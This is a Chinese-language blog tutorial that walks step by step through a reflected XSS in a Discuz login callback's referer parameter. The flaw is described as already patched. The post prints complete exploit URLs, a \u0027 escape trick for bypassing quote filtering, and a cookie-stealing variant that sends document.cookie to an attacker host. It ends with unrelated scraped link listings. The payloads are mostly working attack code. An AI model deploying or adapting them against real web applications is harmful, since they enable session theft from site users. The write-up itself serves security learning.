XSS学习笔记(四)-漏洞利用全过程
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'; alert(document.cookie);a='';", 3000);</script>
1.在这个样例(如今早已补)中希望大家也要体会到:XSS的上下文比較重要,怎样依据上下文,利用未过滤的字符,合理的构造,才是成功的关键(要有足够猥琐的思路)
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802
2.这是測试注冊的一个账户,我们去F12看 源代码,第一个思路就是看上下文,在上下文中发现原始的上下文,然后闭合和绕过原来的上下文,源代码之后,ctrl+f 搜索自己能够控制输入的地方(如账号,个人信息等)
3.看到:
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>
...
<a href ="http://www.discuz.net/./aaaaaaaaaaa" >
4.两处的上下文都须要 双引號或者单引號的闭合,能够试试 aaaaaaaaaaa" 作为账户名注冊一个 来试试,或者直接字啊URL模拟你和这种信息,看看有没有报错,经过实验,是不行的,是的,不可能给我们留这麽大的漏洞
5.然后我们回头看看第一个是作为函数參数的,setTimeout(可运行脚本,延时时间)函数,也就是说这个函数会把函数的第一个參数作为脚本运行,那我们试下闭合单引號, 在 URL 中 &referfer=aaaaaaaaaaa'&oauth_signature....
6.可是这里已经被过滤了。变成了window.location.href ='http://www.discuz.net/./aaaaaaaaaaa'';",3000) 这里单引號是行不通的。
7.要相信还是自己的思路不够猥琐,我们看到setTimeout()的第一个參数是字符串,我们前面的教程里说过一次,JS字符串中,字符还能够表示为unicode的形式,即:单引號还能够表示为\u0027或者\x27,呵呵,希望来了吧,还有允许字符的不同编码的闭合方式,lz过滤了\没? 试试便知,
在URL:
&referfer=aaaaaaaaaaa\&oauth_signature....
结果:
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa\';", 3000);</script>
大喜:没有过滤\就是其转义性还能够被client使用
以下还是老思路:
把原来引號里面的单引號都变成\u0027或者\x27
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027; alert(document.cookie);a=\u0027\u0027;", 3000);</script>
8.在URL:
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802
运行后,直接弹出cookie, 呵呵,还有啥说的,这里的已经是POC了!!!
9.假设把原来的alert() 换一下,直接指向自已的xss平台就真的Ok了
如 换成 window.location.href='www.attacker-site.com?c='+document.cookie+';' 这样会跳转到还有一个页面,造成载入失效
所以要改进:
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>
上面类似于我曾经写的文章点击劫持, 改动client的href代码,相同替换掉单引號,和加号
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>
在URL:
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802
这样就不会由于跳转而载入失败了
看这些猥琐的样例中,事实上终于都是嵌套这反射的思想,然后就是依据上下文绕过的思想,熟能生巧,让我们尽情的Xss去吧
这个修复方案就是过滤\ 就Ok了
关于Json XSS (http://blog.csdn.net/l_f0rm4t3d/article/details/23851071) 请看我写过的这篇
XSS学习笔记(四)-漏洞利用全过程的更多相关文章
- 零拷贝详解 Java NIO学习笔记四(零拷贝详解)
转 https://blog.csdn.net/u013096088/article/details/79122671 Java NIO学习笔记四(零拷贝详解) 2018年01月21日 20:20:5 ...
- C#可扩展编程之MEF学习笔记(四):见证奇迹的时刻
前面三篇讲了MEF的基础和基本到导入导出方法,下面就是见证MEF真正魅力所在的时刻.如果没有看过前面的文章,请到我的博客首页查看. 前面我们都是在一个项目中写了一个类来测试的,但实际开发中,我们往往要 ...
- IOS学习笔记(四)之UITextField和UITextView控件学习
IOS学习笔记(四)之UITextField和UITextView控件学习(博客地址:http://blog.csdn.net/developer_jiangqq) Author:hmjiangqq ...
- java之jvm学习笔记四(安全管理器)
java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...
- Learning ROS for Robotics Programming Second Edition学习笔记(四) indigo devices
中文译著已经出版,详情请参考:http://blog.csdn.net/ZhangRelay/article/category/6506865 Learning ROS for Robotics Pr ...
- Typescript 学习笔记四:回忆ES5 中的类
中文网:https://www.tslang.cn/ 官网:http://www.typescriptlang.org/ 目录: Typescript 学习笔记一:介绍.安装.编译 Typescrip ...
- ES6学习笔记<四> default、rest、Multi-line Strings
default 参数默认值 在实际开发 有时需要给一些参数默认值. 在ES6之前一般都这么处理参数默认值 function add(val_1,val_2){ val_1 = val_1 || 10; ...
- muduo网络库学习笔记(四) 通过eventfd实现的事件通知机制
目录 muduo网络库学习笔记(四) 通过eventfd实现的事件通知机制 eventfd的使用 eventfd系统函数 使用示例 EventLoop对eventfd的封装 工作时序 runInLoo ...
- python3.4学习笔记(四) 3.x和2.x的区别,持续更新
python3.4学习笔记(四) 3.x和2.x的区别 在2.x中:print html,3.x中必须改成:print(html) import urllib2ImportError: No modu ...
- Go语言学习笔记四: 运算符
Go语言学习笔记四: 运算符 这章知识好无聊呀,本来想跨过去,但没准有初学者要学,还是写写吧. 运算符种类 与你预期的一样,Go的特点就是啥都有,爱用哪个用哪个,所以市面上的运算符基本都有. 算术运算 ...
随机推荐
- WRTnode 的 HTTP Web 开关实验(2016-05-16)
前言 这里是节取自 物联网的任意门——WRTnode2R 评测 中的 http web 开关灯实验,所以有一些前置设置如果没有描述清楚可参考该处. 正文 步骤一:编辑一个 html 文件,放在 /ww ...
- django开发简易博客(一)
这几篇博客是根据GoodSpeed的博客该写的,看了他的博客收获很大,但是他的博客从第三篇开始,条理很不清晰,加之又是几年之前写的,编写环境发生很大改变,所以对他的博客进行了一个整理,加入了一些自己的 ...
- Yii2归档安装法
打开dos 操作命令 1.先把init.bat 拖到dos命令窗口 打开 (如果拖过去没打开 可以回车Enter一下) 这里需要注意一下 下图红圈中是两种环境 0->开发环境 1-&g ...
- Laravel 5.1 ACL权限控制 四 之middleware
1.创建Middleware php artisan make:middleware MustBeAnAdmin 2.实现 MustBeAnAdmin.php中的handle方法,判断登录的用户是否为 ...
- codeforces 623A. Graph and String 构造
题目链接 给出一个图, 每个节点只有三种情况, a,b, c. a能和a, b连边, b能和a, b, c,连边, c能和b, c连边, 且无重边以及自环.给出初始的连边情况, 判断这个图是否满足条件 ...
- Nginx阅读笔记(二)之location的用法
两个配置文件 一: server { listen 80; # # 在本机所有ip上监听80,也可以写为192.168.1.202:80,这样的话,就只监听192.168.1.202上的80口 ser ...
- 细说UI线程和Windows消息队列(经典)
在Windows应用程序中,窗体是由一种称为“UI线程(User Interface Thread)”的特殊类型的线程创建的. 首先,UI线程是一种“线程”,所以它具有一个线程应该具有的所有特征,比如 ...
- 2014ACM/ICPC亚洲区鞍山赛区现场赛1009Osu!
鞍山的签到题,求两点之间的距离除以时间的最大值.直接暴力过的. A - Osu! Time Limit:1000MS Memory Limit:262144KB 64bit IO Fo ...
- Android经常使用UI组件 - TextView
TextView是Android里面用的最多的UI组件,一般使用在须要显示一些信息的时候,其不能输入,仅仅能初始设定或者在程序中改动. 实例:TextViewDemo 执行效果: 代码清单: 布局文件 ...
- Python中NumPy基础使用
Python发展至今,已经有越来越多的人使用python进行科学技术,NumPY是python中的一款高性能科学计算和数据分析的基础包. ndarray ndarray(以下简称数组)是numpy的数 ...